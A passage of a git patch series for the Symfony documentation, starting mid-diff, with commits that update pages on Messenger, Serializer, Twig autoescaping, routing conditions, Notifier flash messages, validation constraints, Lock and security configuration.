+            #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
         ) {
         }

From 475a86633a0cbc516d132987713311dd3eddba8f Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 4 May 2022 17:18:57 +0200
Subject: [PATCH 3226/7107] amqp no autocreate queues, see #16689

---
 messenger.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/messenger.rst b/messenger.rst
index 8a4d66fe4ac..c32569630df 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -877,6 +877,7 @@ To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
+    To not autocreate any queues, you can configure a transport with `queues: []`.
 
 The transport has a number of other options, including ways to configure
 the exchange, queues, binding keys and more. See the documentation on

From 9ac9388fc0e381103ba646246dbfd686c6a0f691 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 17:24:09 +0200
Subject: [PATCH 3227/7107] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 56ef5af1382..016274aec79 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -777,8 +777,8 @@ reset the service container between two messages:
 
 .. note::
 
-    ``reset_on_message`` will default to true (with no other allowed value) in
-    Symfony 6. To disable this behavior, execute the ``messenger:consume``
+    ``reset_on_message`` will default to ``true`` (with no other allowed value)
+    in Symfony 6. To disable this behavior, execute the ``messenger:consume``
     command with the ``--no-reset`` option.
 
 .. _messenger-retries-failures:

From f9b31a094fcaf46373d904ff6582c9745d5ce852 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 17:36:08 +0200
Subject: [PATCH 3228/7107] [Messenger] remove reset_on_message config

---
 messenger.rst | 48 +++---------------------------------------------
 1 file changed, 3 insertions(+), 45 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 007bc80f6cf..f5426faf7ae 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -711,51 +711,9 @@ states to prevent information and/or memory leakage.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
-In those cases, use the ``reset_on_message`` transport option to automatically
-reset the service container between two messages:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                reset_on_message: true
-                transports:
-                    async:
-                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger reset-on-message="true">
-                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
-                    </framework:transport>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $messenger = $framework->messenger();
-
-            $messenger->resetOnMessage(true);
-        };
+That's why, by default, the service container is reset between consuming messages.
+To disable this behavior, execute the ``messenger:consume`` command with the
+``--no-reset`` option.
 
 .. _messenger-retries-failures:
 

From 1f0c87c53f139c815a2e08731f8d86fb4d379123 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Wed, 4 May 2022 20:31:29 +0200
Subject: [PATCH 3229/7107] [Serializer] Document support of canners

---
 components/serializer.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 27d08f79ec3..706d2f492a4 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -746,8 +746,12 @@ If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
 automatically detect and use it to serialize related attributes.
 
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``add``
-and ``remove``.
+The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``can``,
+``add`` and ``remove``.
+
+.. versionadded:: 6.1
+
+    The support of canners (methods prefixed by ``can``) was introduced in Symfony 6.1.
 
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------
@@ -811,12 +815,12 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
     to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, issers, adders and removers. It supports
-    calling the constructor during the denormalization process.
+    directly and through getters, setters, hassers, issers, canners, adders and removers.
+    It supports calling the constructor during the denormalization process.
 
     Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get``, ``set``, ``has``, ``is``, ``add`` or ``remove`` prefix from
-    the method name and transforming the first letter to lowercase; e.g.
+    generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove``
+    prefix from the method name and transforming the first letter to lowercase; e.g.
     ``getFirstName()`` -> ``firstName``).
 
     The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by

From 2d90ff9a4f1f2a7adb763e59002178a09129d3de Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 4 May 2022 23:09:13 +0200
Subject: [PATCH 3230/7107] Deprecate autoescape option

---
 reference/configuration/twig.rst | 5 +++++
 templates.rst                    | 2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index f0afefc533c..54961707833 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -39,6 +39,11 @@ compiled again automatically.
 autoescape
 ~~~~~~~~~~
 
+.. deprecated:: 6.1
+
+    This option is deprecated since Symfony 6.1. If required, use the
+    ``autoescape_service`` or ``autoescape_service_method`` option instead.
+
 **type**: ``boolean`` or ``string`` **default**: ``'name'``
 
 If set to ``false``, automatic escaping is disabled (you can still escape each content
diff --git a/templates.rst b/templates.rst
index 0c679b0087d..e406445787b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1035,7 +1035,7 @@ to perform malicious actions.
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).
 Symfony applications are safe by default because they perform automatic output
-escaping thanks to the :ref:`Twig autoescape option <config-twig-autoescape>`:
+escaping:
 
 .. code-block:: html+twig
 

From c2478da3d6e2ed8364bba1a01a9bc05c9d0bba4f Mon Sep 17 00:00:00 2001
From: Renan <renan-sub@protonmail.com>
Date: Tue, 3 May 2022 23:14:26 +0200
Subject: [PATCH 3231/7107] [Routing] Allow using services in the route
 condition

Update routing.rst

Co-authored-by: Wouter de Jong <wouterj@users.noreply.github.com>

Update routing.rst

Co-authored-by: Wouter de Jong <wouterj@users.noreply.github.com>
---
 routing.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 7aa8c3d30ce..379e5092020 100644
--- a/routing.rst
+++ b/routing.rst
@@ -462,11 +462,21 @@ and can use any of these variables created by Symfony:
 
     The ``params`` variable was introduced in Symfony 6.1.
 
-You can also use this function:
+You can also use these functions:
 
 ``env(string $name)``
     Returns the value of a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
 
+``service(string $alias)``
+    Returns a routing condition service.
+    You'll have to add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
+    tag to your service if you want to use it in the condition.
+
+.. versionadded:: 6.1
+
+    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]`` attribute
+    was introduced in Symfony 6.1.
+
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.

From 7e0fb3edf8f154e7d4db31e1af805ff17a808984 Mon Sep 17 00:00:00 2001
From: Ben Roberts <ben@headsnet.com>
Date: Wed, 4 May 2022 08:57:47 +0200
Subject: [PATCH 3232/7107] Add docs for FlashMessageImportanceMapper

---
 notifier.rst | 56 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 56 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index dec909fd18e..96a43e0c2c5 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -662,6 +662,62 @@ and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
 also exists to modify messages sent to those channels.
 
+Customize Browser Notifications (Flash Messages)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    Support for customizing importance levels was introduced in Symfony 6.1.
+
+The default behavior for Browser channel notifications is to add a flash
+message with a key of "notification".
+
+However, it may be desirable to map the importance level of the notification
+to the type of flash message, so that you can style the different flash
+messages according to their importance.
+
+This can be done by overriding the default
+``notifier.flash_message_importance_mapper`` service with your own implementation of
+:class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface`
+where you can provide your own "importance" to "alert level" mapping.
+
+Symfony currently provides an implementation for the Bootstrap CSS framework's
+typical alert levels, which you can implement immediately using:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            notifier.flash_message_importance_mapper: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="notifier.flash_message_importance_mapper" class="Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper"/>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper;
+
+        return function(ContainerConfigurator $configurator) {
+            $configurator->services()
+                ->set('notifier.flash_message_importance_mapper', BootstrapFlashMessageImportanceMapper::class)
+            ;
+        };
+
 Disabling Delivery
 ------------------
 

From ae80e8ab0704185a924bc65e296e8b603c74bede Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 May 2022 11:01:40 +0200
Subject: [PATCH 3233/7107] Minor reword

---
 messenger.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 4fbfdb5ab4b..abb7ebd7acc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -76,12 +76,15 @@ message class (or a message interface)::
     using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
     instead.
 
-.. note::
+.. tip::
+
+    You can also use the ``#[AsMessageHandler]`` attribute on individual class
+    methods. You may use the attribute on as many methods in a single class as you
+    like, allowing you to group the handling of multiple related types of messages.
+
+.. versionadded:: 6.1
 
-    As of Symfony 6.1, the ``AsMessageHandler`` attribute can be used on individual 
-    class methods as well. You may use the attribute on as many methods in a single
-    class as you like, allowing you to group the handling of multiple related types 
-    of messages.
+    Support for ``#[AsMessageHandler]`` on methods was introduced in Symfony 6.1.
 
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``

From e86c1c2b2e71c8e7f9cf7bfa3274c7ee1dc9dc7d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 May 2022 11:36:01 +0200
Subject: [PATCH 3234/7107] Minor tweak

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 379e5092020..f18450e42c1 100644
--- a/routing.rst
+++ b/routing.rst
@@ -474,8 +474,8 @@ You can also use these functions:
 
 .. versionadded:: 6.1
 
-    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]`` attribute
-    was introduced in Symfony 6.1.
+    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]``
+    attribute were introduced in Symfony 6.1.
 
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes

From 6e4246549519eac3c1030455d2b9c762c57e4246 Mon Sep 17 00:00:00 2001
From: Mathieu Piot <m.piot@vermon.com>
Date: Thu, 5 May 2022 11:58:32 +0200
Subject: [PATCH 3235/7107] Deprecate ExpressionLanguageSyntax constraint

---
 reference/constraints.rst                     |   3 +-
 .../constraints/ExpressionLanguageSyntax.rst  |   5 +
 reference/constraints/ExpressionSyntax.rst    | 147 ++++++++++++++++++
 3 files changed, 154 insertions(+), 1 deletion(-)
 create mode 100644 reference/constraints/ExpressionSyntax.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 34ed5d08dab..f3851bdb97a 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -14,7 +14,8 @@ Validation Constraints Reference
    constraints/Type
 
    constraints/Email
-   constraints/ExpressionLanguageSyntax
+   constraints/ExpressionLanguageSyntax (deprecated)
+   constraints/ExpressionSyntax
    constraints/Length
    constraints/Url
    constraints/Regex
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 58309ed39d0..fda9360b8ae 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -1,6 +1,11 @@
 ExpressionLanguageSyntax
 ========================
 
+.. deprecated:: 6.1
+
+    This constraint is deprecated since Symfony 6.1.
+    Use the``ExpressionSyntax`` constraint instead.
+
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
new file mode 100644
index 00000000000..9e97c3ffa38
--- /dev/null
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -0,0 +1,147 @@
+ExpressionSyntax
+================
+
+This constraint checks that the value is valid as an `ExpressionLanguage`_
+expression.
+
+.. info:: 6.1
+
+    This constraint is deprecated since Symfony 6.1.
+    Use the``ExpressionSyntax`` constraint instead.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntax`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntaxValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraints ensure that:
+
+* the ``promotion`` property stores a value which is valid as an
+  ExpressionLanguage expression;
+* the ``shippingOptions`` property also ensures that the expression only uses
+  certain variables.
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            /**
+             * @Assert\ExpressionSyntax
+             */
+            protected $promotion;
+
+            /**
+             * @Assert\ExpressionSyntax(
+             *     allowedVariables={"user", "shipping_centers"}
+             * )
+             */
+            protected $shippingOptions;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\ExpressionSyntax]
+            protected $promotion;
+
+            #[Assert\ExpressionSyntax(
+                allowedVariables: ['user', 'shipping_centers'],
+            )]
+            protected $shippingOptions;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Order:
+            properties:
+                promotion:
+                    - ExpressionSyntax: ~
+                shippingOptions:
+                    - ExpressionSyntax:
+                        allowedVariables: ['user', 'shipping_centers']
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Order">
+                <property name="promotion">
+                    <constraint name="ExpressionSyntax"/>
+                </property>
+                <property name="shippingOptions">
+                    <constraint name="ExpressionSyntax">
+                        <option name="allowedVariables">
+                            <value>user</value>
+                            <value>shipping_centers</value>
+                        </option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Student.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Order
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('promotion', new Assert\ExpressionSyntax());
+
+                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionSyntax([
+                    'allowedVariables' => ['user', 'shipping_centers'],
+                ]));
+            }
+        }
+
+Options
+-------
+
+allowedVariables
+~~~~~~~~~~~~~~~~
+
+**type**: ``array`` or ``null`` **default**: ``null``
+
+If this option is defined, the expression can only use the variables whose names
+are included in this option. Unset this option or set its value to ``null`` to
+allow any variables.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value should be a valid expression.``
+
+This is the message displayed when the validation fails.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`ExpressionLanguage`: https://symfony.com/components/ExpressionLanguage

From 5b350cd2a054569796e6f90e7908476fffabcde4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 May 2022 12:17:44 +0200
Subject: [PATCH 3236/7107] Minor reword

---
 notifier.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 96a43e0c2c5..1a7b9022438 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -669,15 +669,14 @@ Customize Browser Notifications (Flash Messages)
 
     Support for customizing importance levels was introduced in Symfony 6.1.
 
-The default behavior for Browser channel notifications is to add a flash
-message with a key of "notification".
+The default behavior for browser channel notifications is to add a
+:ref:`flash message <flash-messages>` with ``notification`` as its key.
 
-However, it may be desirable to map the importance level of the notification
-to the type of flash message, so that you can style the different flash
-messages according to their importance.
+However, you might prefer to map the importance level of the notification to the
+type of flash message, so you can tweak their style.
 
-This can be done by overriding the default
-``notifier.flash_message_importance_mapper`` service with your own implementation of
+you can do that by overriding the default ``notifier.flash_message_importance_mapper``
+service with your own implementation of
 :class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface`
 where you can provide your own "importance" to "alert level" mapping.
 

From 01eb82e95189f2c4b288af443cfd3dc8b746e5a2 Mon Sep 17 00:00:00 2001
From: wadjeroudi <wahid@wonetek.com>
Date: Fri, 6 May 2022 10:32:10 +0200
Subject: [PATCH 3237/7107] Fix typo php-fpm => php-pm

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 979a5a13aa7..adfec8c3622 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -6,7 +6,7 @@ The Runtime Component
 ======================
 
     The Runtime Component decouples the bootstrapping logic from any global state
-    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
+    to make sure the application can run with runtimes like PHP-PM, ReactPHP,
     Swoole, etc. without any changes.
 
 .. versionadded:: 5.3

From f55ad96ee03f797de57d86f671369dff752a9cdf Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Fri, 6 May 2022 15:14:19 +0200
Subject: [PATCH 3238/7107] Doctrine annotations is not required anymore for
 validator

---
 validation.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index aa2d83afdb9..bab2acecbb7 100644
--- a/validation.rst
+++ b/validation.rst
@@ -23,8 +23,14 @@ install the validator before using it:
 
 .. code-block:: terminal
 
-    $ composer require symfony/validator doctrine/annotations
+    $ composer require symfony/validator
+    
+If your project still use annotations, ``doctrine/annotations`` is also needed:  
 
+.. code-block:: terminal
+
+    $ composer require doctrine/annotations
+    
 .. note::
 
     If your application doesn't use Symfony Flex, you might need to do some

From 0ba643e6d838e508e57d1ce83dd149439bc786e8 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 7 May 2022 17:59:13 +0200
Subject: [PATCH 3239/7107] Remove RetryTillSaveStore class

---
 components/lock.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 2d4027fcc4c..76e4badb587 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -106,15 +106,12 @@ can be created, pass ``true`` as the argument of the ``acquire()`` method. This
 is called a **blocking lock** because the execution of your application stops
 until the lock is acquired.
 
-Some of the built-in ``Store`` classes support this feature. When they don't,
-they can be decorated with the ``RetryTillSaveStore`` class::
+Some of the built-in ``Store`` classes support this feature.
 
     use Symfony\Component\Lock\LockFactory;
     use Symfony\Component\Lock\Store\RedisStore;
-    use Symfony\Component\Lock\Store\RetryTillSaveStore;
 
     $store = new RedisStore(new \Predis\Client('tcp://localhost:6379'));
-    $store = new RetryTillSaveStore($store);
     $factory = new LockFactory($store);
 
     $lock = $factory->createLock('notification-flush');

From f3185202fbb740b2fce189010bb715faa7310e15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 May 2022 12:20:46 +0200
Subject: [PATCH 3240/7107] [Form] Fix a minor syntax issue

---
 reference/forms/types/collection.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index a6909e22377..5cf039e9d86 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -314,7 +314,7 @@ prototype_options
 
 This is the array that's passed to the form type specified in the `entry_type`_
 option when creating its prototype. It allows to have different options depending
-on whether you are adding a new entry or editing an existing entry.
+on whether you are adding a new entry or editing an existing entry::
 
     use Symfony\Component\Form\Extension\Core\Type\CollectionType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;

From 99269ac0751416cafd2144df5d6a2d43d39ea5bf Mon Sep 17 00:00:00 2001
From: naitsirch <naitsirch@e.mail.de>
Date: Mon, 9 May 2022 13:12:17 +0200
Subject: [PATCH 3241/7107] Added naming_strategy option to doctrine config
 reference

---
 reference/configuration/doctrine.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 3d2435e73a0..b65b24081dd 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -182,6 +182,7 @@ that the ORM resolves to:
             metadata_cache_driver: array
             query_cache_driver: array
             result_cache_driver: array
+            naming_strategy: doctrine.orm.naming_strategy.default
 
 There are lots of other configuration options that you can use to overwrite
 certain classes, but those are for very advanced use-cases only.
@@ -207,6 +208,7 @@ can be placed directly under ``doctrine.orm`` config level.
             class_metadata_factory_name:  Doctrine\ORM\Mapping\ClassMetadataFactory
             default_repository_class:  Doctrine\ORM\EntityRepository
             auto_mapping: false
+            naming_strategy: doctrine.orm.naming_strategy.default
             hydrators:
                 # ...
             mappings:

From 8cb7f850c35d978ef7a3764f6fd93a81371a8155 Mon Sep 17 00:00:00 2001
From: mark2016 <16224288+mark2016@users.noreply.github.com>
Date: Mon, 9 May 2022 21:44:12 +1000
Subject: [PATCH 3242/7107] Update doctrine.rst

fix spelling woh -> whoa, reference https://writingexplained.org/whoa-or-woah-difference
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 0112eb5428e..46770aa35b5 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -132,7 +132,7 @@ need. The command will ask you some questions - answer them like done below:
     The interactive behavior of the ``make:entity`` command was introduced
     in MakerBundle 1.3.
 
-Woh! You now have a new ``src/Entity/Product.php`` file::
+Whoa! You now have a new ``src/Entity/Product.php`` file::
 
     // src/Entity/Product.php
     namespace App\Entity;

From 1c76da83b90a2c5c0358edea3d8656c7812f8efd Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 9 May 2022 17:06:26 +0200
Subject: [PATCH 3243/7107] Remove enable_authenticator_manager

---
 security.rst                      | 4 ----
 security/custom_authenticator.rst | 3 +--
 security/entry_point.rst          | 1 -
 security/login_link.rst           | 7 -------
 4 files changed, 1 insertion(+), 14 deletions(-)

diff --git a/security.rst b/security.rst
index b3cc007d9bf..dac009b6c66 100644
--- a/security.rst
+++ b/security.rst
@@ -27,7 +27,6 @@ creates a ``security.yaml`` configuration file for you:
 
     # config/packages/security.yaml
     security:
-        enable_authenticator_manager: true
         # https://symfony.com/doc/current/security.html#registering-the-user-hashing-passwords
         password_hashers:
             Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
@@ -1354,8 +1353,6 @@ You must enable this using the ``login_throttling`` setting:
 
         # config/packages/security.yaml
         security:
-            # you must use the authenticator manager
-            enable_authenticator_manager: true
 
             firewalls:
                 # ...
@@ -2289,7 +2286,6 @@ the login page):
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
 
             # ...
             access_control:
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 6a7e80e039f..4178e254904 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -86,7 +86,6 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
 
             # ...
             firewalls:
@@ -179,7 +178,7 @@ can define what happens in these cases:
     If your login method is interactive, which means that the user actively
     logged into your application, you may want your authenticator to implement the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
-    so that it dispatches an 
+    so that it dispatches an
     :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
 
 .. _security-passport:
diff --git a/security/entry_point.rst b/security/entry_point.rst
index daee51493fa..db1141a95c6 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -18,7 +18,6 @@ You can configure this using the ``entry_point`` setting:
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
 
             # ...
             firewalls:
diff --git a/security/login_link.rst b/security/login_link.rst
index 9b99534d2c8..899c7a1c82a 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,13 +14,6 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-.. note::
-
-    Login links are only supported by Symfony when using the
-    :doc:`authenticator system </security>`. Before using this
-    authenticator, make sure you have enabled it with
-    ``enable_authenticator_manager: true`` in your ``security.yaml`` file.
-
 Using the Login Link Authenticator
 ----------------------------------
 

From cb96633c2e0d3dda415765bc36361483b64eba06 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 10 May 2022 11:13:51 +0200
Subject: [PATCH 3244/7107] Creating a route for logout is always required

Even if the default value is used
---
 reference/configuration/security.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e65fc6ec26d..06d56d91008 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -382,8 +382,7 @@ the current firewall and not the other ones.
 
 **type**: ``string`` **default**: ``/logout``
 
-The path which triggers logout. If you change it from the default value ``/logout``,
-you need to set up a route with a matching path.
+The path which triggers logout. You need to set up a route with a matching path.
 
 target
 ~~~~~~

From 5f2981bfe20d104524075eecaf651470d7a605e3 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 10 May 2022 16:15:13 +0100
Subject: [PATCH 3245/7107] make the no_stop_clause option for OVH visible in
 the doc

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1a7b9022438..ed094d51f09 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,7 +74,7 @@ Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
